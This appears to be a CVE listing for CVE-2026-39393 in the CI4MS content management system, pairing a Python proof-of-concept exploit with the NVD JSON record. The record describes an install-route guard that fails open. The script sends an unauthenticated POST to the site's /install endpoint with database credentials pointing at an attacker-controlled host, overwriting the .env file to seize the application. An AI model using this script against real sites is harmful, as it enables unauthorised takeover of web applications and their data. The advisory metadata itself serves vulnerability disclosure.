CVE-2026-39393

import requests target_url = "http://target-ci4ms-site.com" # Attacker controlled database details malicious_db_config = { "db_hostname": "attacker-db-server.com", "db_username": "root", "db_password": "password", "db_database": "malicious_db" } # The vulnerability allows access to the install route when cache is cleared and DB is down. install_endpoint = f"{target_url}/install" try: print(f"[*] Attempting to exploit CVE-2026-39393 on {target_url}...") # Sending POST request to overwrite .env response = requests.post(install_endpoint, data=malicious_db_config) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! .env file overwritten.") print("[+] Application takeover achieved.") else: print(f"[-] Exploit failed or conditions not met. Status: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-39393", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:14.210", "lastModified": "2026-04-16T00:02:57.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the install route guard in ci4ms relies solely on a volatile cache check (cache('settings')) combined with .env file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the .env file with attacker-controlled database credentials, achieving full application takeover. This vulnerability is fixed in 0.31.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.4.0", "matchCriteriaId": "392D5209-C574-4DEA-8529-BBD5860A35F0"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}